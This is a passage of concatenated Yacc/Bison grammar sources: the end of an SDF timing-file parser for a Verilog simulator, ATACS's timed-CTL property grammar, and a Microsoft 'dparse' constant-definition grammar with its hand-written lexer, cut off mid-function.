K_0Z | K_Z1 | K_1Z | K_Z0 | K_COND ; timing_check_condition : port_interconnect { } | '~' port_interconnect { } | '!' port_interconnect { } | port_interconnect equality_operator scalar_constant { } ; equality_operator : K_EQ | K_NE | K_CEQ | K_CNE ; scalar_constant : K_LOGICAL_ONE | K_LOGICAL_ZERO ; port_spec : port_instance { $$.vpi_edge = vpiNoEdge; $$.string_val = $1; } | port_edge { $$ = $1; } ; port_instance : port { $$ = $1; } ; port : hierarchical_identifier { $$ = $1; } /* | hierarchical_identifier '[' INTEGER ']' */ ; /* Since INTERCONNECT is ignored we can also ignore a vector bit. */ port_interconnect : hierarchical_identifier { $$ = $1; } | hierarchical_identifier '[' INTEGER ']' { $$ = $1;} ; port_edge : '(' {start_edge_id(0);} edge_identifier {stop_edge_id();} port_instance ')' { $$.vpi_edge = $3; $$.string_val = $5; } ; edge_identifier : K_POSEDGE { $$ = vpiPosedge; } | K_NEGEDGE { $$ = vpiNegedge; } | K_01 { $$ = vpiEdge01; } | K_10 { $$ = vpiEdge10; } | K_0Z { $$ = vpiEdge0x; } | K_Z1 { $$ = vpiEdgex1; } | K_1Z { $$ = vpiEdge1x; } | K_Z0 { $$ = vpiEdgex0; } ; delval_list : delval_list delval { int idx; $$.count = $1.count; for (idx = 0 ; idx < $$.count ; idx += 1) $$.val[idx] = $1.val[idx]; // Is this correct? if ($$.count < 12) { $$.val[$$.count] = $2; $$.count += 1; } } | delval { $$.count = 1; $$.val[0] = $1; } ; delval : rvalue { $$ = $1; } | '(' rvalue rvalue ')' { $$ = $2; vpi_printf("%s:%d: SDF WARNING: Pulse rejection limits ignored\n", sdf_parse_path, @3.first_line); } | '(' rvalue rvalue rvalue ')' { $$ = $2; vpi_printf("%s:%d: SDF WARNING: Pulse rejection limits ignored\n", sdf_parse_path, @3.first_line); } ; rvalue : '(' signed_real_number ')' { $$.defined = 1; $$.value = $2; } | '(' rtriple ')' { $$ = $2; } | '(' ')' { $$.defined = 0; $$.value = 0.0; } ; hierarchical_identifier : IDENTIFIER { $$ = $1; } | hierarchical_identifier HCHAR IDENTIFIER { int len = strlen($1) + strlen($3) + 2; char*tmp = realloc($1, len); strcat(tmp, "."); strcat(tmp, $3); free($3); $$ = tmp; } ; rtriple : signed_real_number_opt ':' signed_real_number_opt ':' signed_real_number_opt { $$ = $3; /* V0.9 only supports using the typical value. */ /* At least one of the values must be defined. */ if (! ($1.defined || $3.defined || $5.defined)) { vpi_printf("%s:%d: SDF ERROR: rtriple must have at least one " "defined value.\n", sdf_parse_path, @1.first_line); } } ; signed_real_number_opt : /* When missing. */ { $$.value = 0.0; $$.defined = 0; } | signed_real_number { $$.value = $1; $$.defined = 1; } ; signed_real_number : REAL_NUMBER { $$ = $1; } | '+' REAL_NUMBER { $$ = $2; } | '-' REAL_NUMBER { $$ = -$2; } | INTEGER { $$ = $1; } | '+' INTEGER { $$ = $2; } | '-' INTEGER { $$ = -$2; } ; %% void yyerror(const char*msg) { vpi_printf("%s:SDF ERROR: Too many errors: %s\n", sdf_parse_path, msg); }
<reponame>MyersResearchGroup/ATACS<filename>src/tctl.y %{ #include <stdio.h> #include <string.h> #include <iostream> #include "tctllex.c" #include "symbolic.h" #define YYPARSE_PARAM args int yylex(); int yyerror(char*); //Needed for Bison 2.2 //extern char yytext[]; %} %union { tmustmt *property; char *var; double number; int cIndex; } %type <property> statement %token <var> VARIABLE %token <number> CONSTANT %token GEQ GT LEQ LT %left '|' '&' IMP EU AU %nonassoc '.' '~' TR FA EF AF EG AG %left BOUNDED %% statement: VARIABLE { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; if (md->allModelVars.find(string($1)) == md->allModelVars.end()) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); free($1); YYABORT; } BDD phi = md->getModelVarBDD($1); if (phi == md->getBDDMgr()->bddOne()) { $$ = var_tmustmt($1); } else { $$ = sl_tmustmt(phi, $1); } free($1); #endif } | TR { #ifdef CUDD Cudd *mgr = ((lhpnModelData*) args)->getBDDMgr(); $$ = sl_tmustmt(mgr->bddOne(), "true"); #endif } | FA { #ifdef CUDD Cudd *mgr = ((lhpnModelData*) args)->getBDDMgr(); $$ = sl_tmustmt(mgr->bddZero(), "false"); #endif } | '~' statement { #ifdef CUDD $$ = not_tmustmt($2); #endif } | statement '|' statement { #ifdef CUDD $$ = or_tmustmt($1, $3); #endif } | statement '&' statement { #ifdef CUDD $$ = and_tmustmt($1, $3); #endif } | statement IMP statement { #ifdef CUDD $$ = or_tmustmt(not_tmustmt($1), $3); #endif } | statement EU statement { #ifdef CUDD $$ = EU_tmustmt($1, $3); #endif } | statement AU statement { #ifdef CUDD $$ = AU_tmustmt($1, $3, (lhpnModelData*) args); #endif } | statement AU '_' CONSTANT statement %prec BOUNDED { #ifdef CUDD $$ = bAU_tmustmt($1, $5, $4, (lhpnModelData*) args); #endif } | EF statement { #ifdef CUDD $$ = EF_tmustmt($2, (lhpnModelData*) args); #endif } | AG statement { #ifdef CUDD $$ = AG_tmustmt($2, (lhpnModelData*) args); #endif } | AF statement { #ifdef CUDD $$ = AF_tmustmt($2, (lhpnModelData*) args); #endif } | AF '_' CONSTANT statement %prec BOUNDED { #ifdef CUDD $$ = bAF_tmustmt($4, $3, (lhpnModelData*) args); #endif } | EG statement { #ifdef CUDD $$ = EG_tmustmt($2, (lhpnModelData*) args); #endif } | EG '_' CONSTANT statement %prec BOUNDED { #ifdef CUDD $$ = bEG_tmustmt($4, $3, (lhpnModelData*) args); #endif } | '(' statement ')' { #ifdef CUDD $$ = $2; #endif } | VARIABLE '.' { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; $<cIndex>$ = md->addClockVar($1); free ($1); } statement { $$ = sc_tmustmt($<cIndex>3, $4); #endif } | VARIABLE GEQ VARIABLE '+' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($3); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v1, v2, $5); ostringstream desc; desc << $1 << " >= " << $3 << " + " << $5; $$ = sl_tmustmt(phi, desc.str()); free($1); free($3); #endif } | VARIABLE GEQ VARIABLE '-' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($3); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v1, v2, -1*$5); ostringstream desc; desc << $1 << " >= " << $3 << " + " << -1*$5; $$ = sl_tmustmt(phi, desc.str()); free($1); free($3); #endif } | VARIABLE GEQ CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } int v2 = md->getVarIndex("x0"); BDD phi = predStruct::addPred(v1, v2, $3); ostringstream desc; desc << $1 << " >= " << "x0" << " + " << $3; $$ = sl_tmustmt(phi, desc.str()); free($1); #endif } | VARIABLE GEQ VARIABLE { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($3); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v1, v2, 0); ostringstream desc; desc << $1 << " >= " << $3 << " + 0"; $$ = sl_tmustmt(phi, desc.str()); free($1); free($3); #endif } | VARIABLE GT VARIABLE '+' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($3); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v2, v1, -1*$5); ostringstream desc; desc << $3 << " >= " << $1 << " + " << -1*$5; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); free($3); #endif } | VARIABLE GT VARIABLE '-' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($3); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v2, v1, $5); ostringstream desc; desc << $3 << " >= " << $1 << " + " << $5; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); free($3); #endif } | VARIABLE GT CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } int v2 = md->getVarIndex("x0"); BDD phi = predStruct::addPred(v2, v1, -1*$3); ostringstream desc; desc << "x0" << " >= " << $1 << " + " << -1*$3; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); #endif } | VARIABLE GT VARIABLE { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($1); int v2 = md->getVarIndex($3); BDD phi = predStruct::addPred(v2, v1, 0); ostringstream desc; desc << $3 << " >= " << $1 << " + 0"; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); free($3); #endif } | VARIABLE LEQ VARIABLE '+' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($3); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v1, v2, -1*$5); ostringstream desc; desc << $3 << " >= " << $1 << " + " << -1*$5; $$ = sl_tmustmt(phi, desc.str()); free($1); free($3); #endif } | VARIABLE LEQ VARIABLE '-' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($3); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v1, v2, $5); ostringstream desc; desc << $3 << " >= " << $1 << " + " << $5; $$ = sl_tmustmt(phi, desc.str()); free($1); free($3); #endif } | VARIABLE LEQ CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex("x0"); int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v1, v2, -1*$3); ostringstream desc; desc << "x0" << " >= " << $1 << " + " << -1*$3; $$ = sl_tmustmt(phi, desc.str()); free($1); #endif } | VARIABLE LEQ VARIABLE { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($3); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v1, v2, 0); ostringstream desc; desc << $3 << " >= " << $1 << " + 0"; $$ = sl_tmustmt(phi, desc.str()); free($1); free($3); #endif } | VARIABLE LT VARIABLE '+' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($3); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v2, v1, $5); ostringstream desc; desc << $1 << " >= " << $3 << " + " << $5; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); free($3); #endif } | VARIABLE LT VARIABLE '-' CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($3); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v2, v1, -1*$5); ostringstream desc; desc << $1 << " >= " << $3 << " + " << -1*$5; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); free($3); #endif } | VARIABLE LT CONSTANT { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex("x0"); int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v2, v1, $3); ostringstream desc; desc << $1 << " >= " << "x0" << " + " << $3; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); #endif } | VARIABLE LT VARIABLE { #ifdef CUDD lhpnModelData* md = (lhpnModelData*) args; int v1 = md->getVarIndex($3); if (v1 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $3); yyerror(msg); YYABORT; } int v2 = md->getVarIndex($1); if (v2 == -1) { char msg[100]; sprintf(msg, "Unknown variable named \"%s\" in property.", $1); yyerror(msg); YYABORT; } BDD phi = predStruct::addPred(v2, v1, 0); ostringstream desc; desc << $1 << " >= " << $3 << " + 0"; $$ = not_tmustmt(sl_tmustmt(phi, desc.str())); free($1); free($3); #endif } ; %% int yyerror(char* s) { printf("%s\n", s); fprintf(lg, "%s\n", s); YY_FLUSH_BUFFER; return 1; // return non-zero value to indicate failure. }
<gh_stars>10-100 %{ // ==++== // // Copyright (c) Microsoft Corporation. All rights reserved. // // ==--== #include <dparse.h> #include <crtdbg.h> // FOR ASSERTE #include <string.h> // for strcmp #include <ctype.h> // for isspace #include <stdlib.h> // for strtoul #include <stdarg.h> // for vararg macros #define YYMAXDEPTH 65535 //#define DEBUG_PARSING #ifdef DEBUG_PARSING bool parseDBFlag = true; #define dbprintf(x) if (parseDBFlag) printf x #define YYDEBUG 1 #else #define dbprintf(x) #endif #define FAIL_UNLESS(cond, msg) if (!(cond)) { parser->success = false; parser->error msg; } static DParse* parser = 0; static char* newStringWDel(char* str1, char* str2, char* str3 = 0); static char* newString(char* str1); static char * MakeId(char* szName); bool bExternSource = FALSE; int nExtLine; %} %union { double* float64; __int64* int64; __int32 int32; char* string; BinStr* binstr; int instr; // instruction opcode }; /* These are returned by the LEXER and have values */ %token ERROR_ BAD_COMMENT_ BAD_LITERAL_ /* bad strings, */ %token <string> ID /* testing343 */ %token <binstr> QSTRING /* "Hello World\n" */ %token <string> SQSTRING /* 'Hello World\n' */ %token <int32> INT32 /* 3425 0x34FA 0352 */ %token <int64> INT64 /* 342534523534534 0x34FA434644554 */ %token <float64> FLOAT64 /* -334234 24E-34 */ %token <int32> HEXBYTE /* 05 1A FA */ /* multi-character punctuation */ %token DCOLON /* :: */ %token ELIPSES /* ... */ /* Generic C type keywords */ %token VOID_ BOOL_ CHAR_ UNSIGNED_ SIGNED_ INT_ INT8_ INT16_ INT32_ INT64_ FLOAT_ %token LONG_ SHORT_ DOUBLE_ CONST_ EXTERN_ /* misc keywords */ %token DEFINE_ TEXT_ /* nonTerminals */ %type <int32> int32 int32expr int32mul int32elem int32add int32band int32shf int32bnot %start decl /**************************************************************************/ %% decl : DEFINE_ ID int32expr { parser->EmitIntConstant($2,$3); return(0); } | DEFINE_ ID QSTRING { parser->EmitCharConstant($2,$3); return(0); } | DEFINE_ ID 'L' QSTRING { parser->EmitWcharConstant($2,$4); return(0); } | DEFINE_ ID TEXT_ '(' QSTRING ')' { parser->EmitWcharConstant($2,$5); return(0); } | DEFINE_ ID FLOAT64 { parser->EmitFloatConstant($2, (float)(*$3)); return(0); } | DEFINE_ ID { parser->AddVar($2,0,VAR_TYPE_INT);} ; int32expr : int32band { $$ = $1; } | int32expr '|' int32band { $$ = $1 | $3; } | '(' ID ')' int32expr { $$ = $4; } ; int32band : int32shf { $$ = $1; } | '(' int32expr ')' { $$ = $2; } | int32band '&' int32shf { $$ = $1 & $3; } ; int32shf : int32add { $$ = $1; } | '(' int32expr ')' { $$ = $2; } | int32shf '>' '>' int32add { $$ = $1 >> $4; } | int32shf '<' '<' int32add { $$ = $1 << $4; } ; int32add : int32mul { $$ = $1; } | '(' int32expr ')' { $$ = $2; } | int32add '+' int32mul { $$ = $1 + $3; } | int32add '-' int32mul { $$ = $1 - $3; } ; int32mul : int32bnot { $$ = $1; } | '(' int32expr ')' { $$ = $2; } | int32mul '*' int32bnot { $$ = $1 * $3; } | int32mul '/' int32bnot { $$ = $1 / $3; } | int32mul '%' int32bnot { $$ = $1 % $3; } ; int32bnot : int32elem { $$ = $1; } | '(' int32expr ')' { $$ = $2; } | '~' int32bnot { $$ = ~$2; } ; int32elem : int32 { $$ = $1; } | int32 ID { $$ = $1; delete $2; } | ID { $$ = parser->ResolveVar($1); delete $1; } ; int32 : INT64 { $$ = (__int32)(*$1); delete $1; } ; %% /********************************************************************************/ /* Code goes here */ /********************************************************************************/ void yyerror(char* str) { char tokBuff[64]; //char *ptr; unsigned len = parser->curPos - parser->curTok; if (len > 63) len = 63; memcpy(tokBuff, parser->curTok, len); tokBuff[len] = 0; // FIX NOW go to stderr fprintf(stdout, "// ERROR : %s at token '%s'\n", str, tokBuff); parser->success = false; } struct Keywords { const char* name; unsigned short token; unsigned short tokenVal;// this holds the instruction enumeration for those keywords that are instrs }; #define NO_VALUE -1 // The token has no value static Keywords keywords[] = { /* keywords */ #define KYWD(name, sym, val) { name, sym, val}, #include "d_kywd.h" #undef KYWD }; /********************************************************************************/ /* used by qsort to sort the keyword table */ static int __cdecl keywordCmp(const void *op1, const void *op2) { return strcmp(((Keywords*) op1)->name, ((Keywords*) op2)->name); } /********************************************************************************/ /* looks up the keyword 'name' of length 'nameLen' (name does not need to be null terminated) Returns 0 on failure */ static int findKeyword(const char* name, unsigned nameLen, int* value) { Keywords* low = keywords; Keywords* high = &keywords[sizeof(keywords) / sizeof(Keywords)]; _ASSERTE (high > low); // Table is non-empty for(;;) { Keywords* mid = &low[(high - low) / 2]; // compare the strings int cmp = strncmp(name, mid->name, nameLen); if (cmp == 0 && nameLen < strlen(mid->name)) --cmp; if (cmp == 0) { //printf("Token '%s' = %d opcode = %d\n", mid->name, mid->token, mid->tokenVal); if (mid->tokenVal != NO_VALUE) *value = mid->tokenVal; return(mid->token); } if (mid == low) return(0); if (cmp > 0) low = mid; else high = mid; } } /********************************************************************************/ /* convert str to a uint64 */ static unsigned __int64 str2uint64(const char* str, const char** endStr, unsigned radix) { static unsigned digits[256]; static initialize=TRUE; unsigned __int64 ret = 0; unsigned digit; _ASSERTE(radix <= 36); if(initialize) { int i; memset(digits,255,sizeof(digits)); for(i='0'; i <= '9'; i++) digits[i] = i - '0'; for(i='A'; i <= 'Z'; i++) digits[i] = i + 10 - 'A'; for(i='a'; i <= 'z'; i++) digits[i] = i + 10 - 'a'; initialize = FALSE; } for(;;str++) { digit = digits[*str]; if (digit >= radix) { *endStr = str; return(ret); } ret = ret * radix + digit; } } /********************************************************************************/ /* fetch the next token, and return it Also set the yylval.union if the lexical token also has a value */ int yylex() { char* curPos = parser->curPos; // Skip any leading whitespace and comments const unsigned eolComment = 1; const unsigned multiComment = 2; unsigned state = 0; for(;;) { // skip whitespace and comments switch(*curPos) { case 0: if (state & multiComment) return (BAD_COMMENT_); return 0; // EOF case '\n': state &= ~eolComment; parser->curLine++; break; case '\r': case ' ' : case '\t': case '\f': break; case '*' : if(state == 0) goto PAST_WHITESPACE; if(state & multiComment) { if (curPos[1] == '/') { curPos++; state &= ~multiComment; } } break; case '/' : if(state == 0) { if (curPos[1] == '/') state |= eolComment; else if (curPos[1] == '*') { curPos++; state |= multiComment; } } break; default: if (state == 0) goto PAST_WHITESPACE; } curPos++; } PAST_WHITESPACE: char* curTok = curPos; parser->curTok = curPos; parser->curPos = curPos; int tok = ERROR_; yylval.string = 0; if(*curPos == '?') // '?' may be part of an identifier, if it's not followed by punctuation { char nxt = *(curPos+1); if(isalnum(nxt) || nxt == '_' || nxt == '<' || nxt == '>' || nxt == '$'|| nxt == '@'|| nxt == '?') goto Its_An_Id; goto Just_A_Character; } if (isalpha(*curPos) || *curPos == '#' || *curPos == '_' || *curPos == '@'|| *curPos == '$') { // is it an ID Its_An_Id: unsigned offsetDot = 0xFFFFFFFF; do { curPos++; if (*curPos == '.') { if (offsetDot == 0xFFFFFFFF) offsetDot = curPos - curTok; curPos++; } } while(isalnum(*curPos) || *curPos == '_' || *curPos == '$'|| *curPos == '@'|| *curPos == '?'); unsigned tokLen = curPos - curTok; // check to see if it is a keyword int token = findKeyword(curTok, tokLen, &yylval.instr); if (token != 0) { //printf("yylex: TOK = %d, curPos=0x%8.8X\n",token,curPos); parser->curPos = curPos; parser->curTok = curTok; return(token); } if(*curTok == '#') { parser->curPos = curPos; parser->curTok = curTok; return(ERROR_); } // Not a keyword, normal identifiers don't have '.' in them if (offsetDot < 0xFFFFFFFF) { curPos = curTok+offsetDot; tokLen = offsetDot; } yylval.string = new char[tokLen+1]; memcpy(yylval.string, curTok, tokLen); yylval.string[tokLen] = 0; tok = ID; //printf("yylex: ID = '%s', curPos=0x%8.8X\n",yylval.string,curPos); } else if (isdigit(*curPos) || (*curPos == '.' && isdigit(curPos[1])) || (*curPos == '-' && isdigit(curPos[1]))) { const char* begNum = curPos; unsigned radix = 10; bool neg = (*curPos == '-'); // always make it unsigned if (neg) curPos++; if (curPos[0] == '0' && curPos[1] != '.') { curPos++; radix = 8; if (*curPos == 'x' || *curPos == 'X') { curPos++; radix = 16; } } begNum = curPos; { unsigned __int64 i64 = str2uint64(begNum, const_cast<const char**>(&curPos), radix); yylval.int64 = new __int64(i64); tok = INT64; if (neg) *yylval.int64 = -*yylval.int64; } if (radix == 10 && ((*curPos == '.' && curPos[1] != '.') || *curPos == 'E' || *curPos == 'e')) { yylval.float64 = new double(strtod(begNum, &curPos)); if (neg) *yylval.float64 = -*yylval.float64; tok = FLOAT64; } } else { // punctuation if (*curPos == '"' || *curPos == '\'') { char quote = *curPos++; char* fromPtr = curPos; bool escape = false; // BinStr* pBuf = new BinStr(); for(;;) { // Find matching quote if (*curPos == 0) { parser->curPos = curPos; /*delete pBuf;*/ return(BAD_LITERAL_); } if (*curPos == '\r') curPos++; //for end-of-line \r\n if (*curPos == '\n') { parser->curLine++; if (!escape) { parser->curPos = curPos; /*delete pBuf;*/ return(BAD_LITERAL_); } } if ((*curPos == quote) && (!escape)) break; escape =(!escape) && (*curPos == '\\'); // pBuf->appendInt8(*curPos++); curPos++; } //curPos++; // skip closing quote // translate escaped characters unsigned tokLen = curPos - fromPtr; //pBuf->length(); char* toPtr = new char[tokLen+1]; yylval.string = toPtr; memcpy(toPtr,fromPtr,tokLen); toPtr[tokLen] = 0; /* fromPtr = (char *)(pBuf->ptr()); char* endPtr = fromPtr+tokLen; while(fromPtr < endPtr) { if (*fromPtr == '\\') { fromPtr++; switch(*fromPtr) { case 't': *toPtr++ = '\t'; break; case 'n': *toPtr++ = '\n'; break; case 'b': *toPtr++ = '\b'; break; case 'f': *toPtr++ = '\f'; break; case 'v': *toPtr++ = '\v'; break; case '?': *toPtr++ = '\?'; break; case 'r': *toPtr++ = '\r'; break; case 'a': *toPtr++ = '\a'; break; case '\n': do fromPtr++; while(isspace(*fromPtr)); --fromPtr; // undo the increment below break; case '0': case '1': case '2': case '3': if (isdigit(fromPtr[1]) && isdigit(fromPtr[2])) { *toPtr++ = ((fromPtr[0] - '0') * 8 + (fromPtr[1] - '0')) * 8 + (fromPtr[2] - '0'); fromPtr+= 2; } else if(*fromPtr == '0') *toPtr++ = 0; break; default: *toPtr++ = *fromPtr; } fromPtr++; } else *toPtr++ = *fromPtr++; } *toPtr = 0; // terminate string */ if(quote == '"') { BinStr* pBS = new BinStr(); unsigned size = strlen(yylval.string); //(unsigned)(toPtr - yylval.string); memcpy(pBS->getBuff(size),yylval.string,size); delete yylval.string; yylval.binstr = pBS; tok = QSTRING; } else tok = SQSTRING; // delete pBuf; } else if (strncmp(curPos, "::", 2) == 0) { curPos += 2; tok = DCOLON; } else if (strncmp(curPos, "...", 3) == 0) { curPos += 3; tok = ELIPSES; } else if(*curPos == '.') { do { curPos++; } while(isalnum(*curPos)); unsigned tokLen = curPos - curTok; // check to see if it is a keyword int token = findKeyword(curTok, tokLen, &yylval.instr); if (token != 0) { //printf("yylex: TOK = %d, curPos=0x%8.8X\n",token,curPos); parser->curPos = curPos; parser->curTok = curTok; return(token); } tok = '.'; curPos = curTok + 1; } else { Just_A_Character: tok = *curPos++; } //printf("yylex: PUNCT curPos=0x%8.8X\n",curPos); } dbprintf((" Line %d token %d (%c) val = %s\n", parser->curLine, tok, (tok < 128 && isprint(tok)) ? tok : ' ', (tok > 255 && tok != INT32 && tok != INT64 && tok!= FLOAT64) ? yylval.string : "")); parser->curPos = curPos; parser->curTok = curTok; return(tok); } /**************************************************************************/ static char* newString(char* str1) { char* ret = new char[strlen(str1)+1]; strcpy(ret, str1); return(ret); } /**************************************************************************/ /* concatinate strings and release them */ static char* newStringWDel(char* str1, char* str2, char* str3) { int len = strlen(str1) + strlen(str2)+1; if (str3) len += strlen(str3); char* ret = new char[len]; strcpy(ret, str1); delete [] str1; strcat(ret, str2); delete [] str2; if (str3) { strcat(ret, str3); delete [] str3; } return(ret); } /**************************************************************************/ static void corEmitInt(BinStr* buff, unsigned data) { unsigned cnt = CorSigCompressData(data, buff->getBuff(5)); buff->remove(5 - cnt); } /**************************************************************************/ static char* keyword[] = { #define OPDEF(c,s,pop,push,args,type,l,s1,s2,ctrl) s, #define OPALIAS(alias_c, s, c) s, #include "opcode.def" #undef OPALIAS #undef OPDEF #define KYWD(name, sym, val) name, #include "il_kywd.h" #undef KYWD }; static bool KywdNotSorted = TRUE; static char* szDisallowedSymbols = "&+=-*/!~:;{}[]^#()%"; static char Disallowed[256]; /********************************************************************************/ /* looks up the keyword 'name' Returns FALSE on failure */ static bool IsNameToQuote(const char *name) { if(KywdNotSorted) { memset(Disallowed,0,256); for(char* p = szDisallowedSymbols; *p; Disallowed[*p]=1,p++); // Sort the keywords for fast lookup qsort(keyword, sizeof(keyword) / sizeof(char*), sizeof(char*), keywordCmp); KywdNotSorted = FALSE; } //first, check for forbidden characters for(char *p = (char *)name; *p; p++) if(Disallowed[*p]) return TRUE; //second, check for matching keywords (remember: .ctor and .cctor are names AND keywords) char** low = keyword; char** high = &keyword[sizeof(keyword) / sizeof(char*)]; char** mid; _ASSERTE (high > low); // Table is non-empty for(;;) { mid = &low[(high - low) / 2]; int cmp = strcmp(name, *mid); if (cmp == 0) return ((strcmp(name,COR_CTOR_METHOD_NAME)!=0) && (strcmp(name,COR_CCTOR_METHOD_NAME)!=0)); if (mid == low) break; if (cmp > 0) low = mid; else high = mid; } //third, check if the name starts or ends with dot (.ctor and .cctor are out of the way) return (*name == '.' || name[strlen(name)-1] == '.'); } static char * MakeId(char* szName) { if(IsNameToQuote(szName)) { char* sz = new char[strlen(szName)+3]; sprintf(sz,"'%s'",szName); delete szName; szName = sz; } return szName; } /********************************************************************************/ DParse::DParse(BinStr* pIn, char* szGlobalNS, bool bByName) { #ifdef DEBUG_PARSING extern int yydebug; yydebug = 1; #endif m_pIn = pIn; strcpy(m_szIndent," "); strcpy(m_szGlobalNS,szGlobalNS); m_szCurrentNS[0]=0; m_pVDescr = new VarDescrQueue; m_bByName = bByName; success = true; _ASSERTE(parser == 0); // Should only be one parser instance at a time // Sort the keywords for fast lookup qsort(keywords, sizeof(keywords) / sizeof(Keywords), sizeof(Keywords), keywordCmp); parser = this; if(m_bByName) { char szClassName[64]; for(int i = 'A'; i <= 'Z'; i++) { sprintf(szClassName,"Const.%c",i); FindCreateClass(szClassName); } } else FindCreateClass("Const"); } /********************************************************************************/ DParse::~DParse() { parser = 0; //delete [] &buff[-IN_OVERLAP]; //if(m_pCurrILType) delete m_pCurrILType; } /********************************************************************************/ bool DParse::Parse() { curTok = curPos = (char*)(m_pIn->ptr()); success=true; yyparse(); return success; } /********************************************************************************/ void DParse::EmitConstants() { ClassDescr *pCD; m_szIndent[0] = 0; if(strlen(m_szGlobalNS)) { printf(".namespace %s\n{\n",m_szGlobalNS); strcpy(m_szIndent," "); } while(pCD = ClassQ.POP()) { if(pCD->bsBody.length()) { pCD->bsBody.appendInt8(0); if(strcmp(pCD->szNamespace,m_szCurrentNS)) { if(strlen(m_szCurrentNS)) 